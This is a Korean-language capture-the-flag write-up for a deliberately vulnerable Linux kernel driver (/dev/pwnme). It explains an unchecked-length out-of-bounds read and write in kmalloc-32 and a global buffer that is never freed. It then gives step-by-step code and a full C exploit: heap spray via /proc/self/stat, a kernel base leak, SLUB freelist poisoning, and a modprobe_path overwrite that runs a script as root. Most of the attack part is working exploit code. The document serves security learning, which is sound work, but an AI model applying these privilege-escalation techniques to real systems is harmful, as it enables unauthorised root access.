below

취약점 분석

1. chall_read, chall_write의 길이 검증 부재로 인한 kmalloc-32 OOB read/write

/dev/pwnme를 열면 chall_open에서 g_buf에 0x20 바이트 크기의 kmalloc-32 객체를 할당한다. 하지만 chall_readchall_write는 사용자에게서 전달된 count 값을 0x20 이하로 제한하지 않고 그대로 copy_to_user, copy_from_user의 길이로 사용한다.

따라서 read(fd, buf, 0x40)을 호출하면 0x20 바이트짜리 g_buf 뒤에 위치한 인접 slab 객체를 leak할 수 있다. 반대로 write(fd, buf, 0x40)을 호출하면 g_buf 뒤의 인접 slab 객체를 덮을 수 있다. 이 OOB read/write를 이용해 커널 포인터 leak과 SLUB freelist poisoning이 가능하다.

static int chall_open(struct inode *inode, struct file *file)
{
    g_buf = kmalloc(0x20, GFP_KERNEL_ACCOUNT);
    if (g_buf != NULL)
        return 0;
 
    return -ENOMEM;
}
 
static ssize_t chall_read(struct file *file, char __user *ubuf,
                          size_t count, loff_t *off)
{
    if (copy_to_user(ubuf, g_buf, count) == 0)
        return count;
 
    return -EINVAL;
}
 
static ssize_t chall_write(struct file *file, const char __user *ubuf,
                           size_t count, loff_t *off)
{
    if (copy_from_user(g_buf, ubuf, count) == 0)
        return count;
 
    return -EINVAL;
}

2. 전역 g_buf 사용 및 release 미해제로 인한 객체 관리 실패

g_buf는 file descriptor별 private data가 아니라 전역 변수다. 그래서 /dev/pwnme를 다시 열 때마다 새 kmalloc(0x20) 결과가 전역 g_buf에 덮어써진다. 또한 chall_releaseg_buf를 해제하지 않고 단순히 0을 반환한다.

이 구조 때문에 freelist poisoning 이후 /dev/pwnme를 반복해서 열면, chall_openkmalloc(0x20) 결과가 전역 g_buf에 계속 반영된다. 결과적으로 poisoned freelist를 따라 kmalloc(0x20)modprobe_path 주소를 반환하면, 이후 일반적인 device write가 modprobe_path overwrite로 바뀐다.

static int chall_open(struct inode *inode, struct file *file)
{
    g_buf = kmalloc(0x20, GFP_KERNEL_ACCOUNT);
    if (g_buf != NULL)
        return 0;
 
    return -ENOMEM;
}
 
static int chall_release(struct inode *inode, struct file *file)
{
    return 0;
}
 
static void chall_exit(void)
{
    kfree(g_buf);
    misc_deregister(&chall_misc);
}

Exploit 과정

Step 1: /dev/pwnme 할당 및 /proc/self/stat heap spray

먼저 /dev/pwnme를 열어 kmalloc-32 객체 A를 g_buf로 할당한다. 이후 /proc/self/stat를 여러 번 열어 A 근처에 유용한 kmalloc-32 객체를 배치한다.

#define SPRAY_COUNT 0x10
 
fd = open("/dev/pwnme", O_RDWR);
 
for (int i = 0; i < SPRAY_COUNT; i++)
{
    spray_fd[i] = open("/proc/self/stat", O_RDONLY);
}

Step 2: OOB read로 커널 베이스 leak

g_buf는 0x20 바이트지만 0x40 바이트를 읽어 인접 객체까지 leak한다. 현재 exploit에서는 buf[4], 즉 byte offset 0x20에 있는 커널 text pointer를 사용한다.

read(fd, buf, 0x40);
 
leak = buf[4];
base = leak - 0x137a80;
modprobe_path = base + 0x8ae3c0;

Step 3: spray 객체 free 후 SLUB freelist poisoning

spray한 /proc/self/stat fd를 역순으로 닫아 인접 객체들을 free한다. 이후 다시 0x40 바이트를 읽어 현재 free object metadata를 가져오고, byte offset 0x30modprobe_path 주소를 쓴다.

g_buf가 0x20 바이트이므로 offset 0x30은 인접 객체 기준 +0x10 위치다. 이 위치가 해당 환경에서 free object의 freelist pointer로 사용되므로, 다음 kmalloc-32 경로를 modprobe_path로 조작할 수 있다.

for (int i = SPRAY_COUNT - 1; i >= 0; i--)
{
    close(spray_fd[i]);
}
 
memset(buf, 0, sizeof(buf));
read(fd, buf, 0x40);
 
buf[6] = modprobe_path;
write(fd, buf, 0x40);

Step 4: /dev/pwnme 재할당으로 g_buf == modprobe_path 만들기

/dev/pwnme를 다시 열면 chall_open에서 kmalloc(0x20)이 호출되고, 반환값이 전역 g_buf에 저장된다. poisoned freelist가 소비되면 어느 시점에 kmalloc(0x20)modprobe_path를 반환한다.

이후 read(fd2, buf, 0x20) 결과가 기존 문자열인 /sbin/modprobe와 같으면 g_bufmodprobe_path를 가리키는 상태가 된다.

for (int i = 0; i < SPRAY_COUNT; i++)
{
    fd2 = open("/dev/pwnme", O_RDWR);
    memset(buf, 0, sizeof(buf));
    read(fd2, buf, 0x20);
 
    if (memcmp(buf, "/sbin/modprobe", 14) == 0)
    {
        info("g_buf == modprobe_path");
        break;
    }
}

Step 5: modprobe_path overwrite 및 trigger

/tmp/ex/flag 권한을 바꾸는 shell script를 만든다. 그 다음 g_buf == modprobe_path 상태에서 /dev/pwnme/tmp/ex를 write하여 커널의 modprobe_path 문자열을 덮는다.

마지막으로 잘못된 포맷의 실행 파일을 실행해 unknown binary handler 경로를 유도한다. 커널이 modprobe helper를 실행하면서 /tmp/ex가 root 권한으로 실행되고, /flag 권한이 변경된다.

setup_modprobe("/tmp/ex", "chmod 777 /flag");
 
write(fd2, "/tmp/ex\0", 8);
 
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
 
system("cat /flag");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
 
int fd, fd2;
int spray_fd[0x100];
uint64_t buf[0x100];
uint64_t leak, base;
uint64_t modprobe_path;
 
#define SPRAY_COUNT 0x10
 
void main()
{
    uint64_t buf[0x100];
 
    important("happy hacking!");
 
    fd = open("/dev/pwnme", O_RDWR);
    info("fd: %d", fd);
    if (fd < 0)
    {
        error("failed to open /dev/pwnme");
    }
 
    // heap spray
    for (int i = 0; i < SPRAY_COUNT; i++)
    {
        spray_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (spray_fd[i] < 0)
        {
            error("failed to open /proc/self/stat");
            exit(1);
        }
    }
    info("Spray complete");
 
    // leak kernel base
    memset(buf, 0, sizeof(buf));
    read(fd, buf, 0x40);
    hexdump(buf, 0x40);
 
    leak = buf[4];
    base = leak - 0x137a80;
    modprobe_path = base + 0x8ae3c0;
    info("leak: 0x%lx", leak);
    info("base: 0x%lx", base);
    info("modprobe_path: 0x%lx", modprobe_path);
 
    // free spray
    for (int i = SPRAY_COUNT - 1; i >= 0; i--)
    {
        close(spray_fd[i]);
    }
    info("Spray cleanup complete");
 
    // overwrite next slab's freelist pointer with modprobe_path
    memset(buf, 0, sizeof(buf));
    read(fd, buf, 0x40);
    hexdump(buf, 0x40);
 
    buf[6] = modprobe_path;
    write(fd, buf, 0x40);
 
    memset(buf, 0, sizeof(buf));
    read(fd, buf, 0x40);
    hexdump(buf, 0x40);
 
    // allocated fd2 at modprobe_path
    for (int i = 0; i < SPRAY_COUNT; i++)
    {
        fd2 = open("/dev/pwnme", O_RDWR);
        memset(buf, 0, sizeof(buf));
        read(fd2, buf, 0x20);
 
        if (memcmp(buf, "/sbin/modprobe", 14) == 0)
        {
            info("g_buf == modprobe_path");
            break;
        }
    }
 
    // setting modprobe_path overwriting
    setup_modprobe("/tmp/ex", "chmod 777 /flag");
 
    // overwrite modprobe_path with /tmp/ex
    write(fd2, "/tmp/ex\0", 8);
 
    // trigger modprobe_path execution
    // run_modprobe();
    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
 
    // cat flag
    system("cat /flag");
}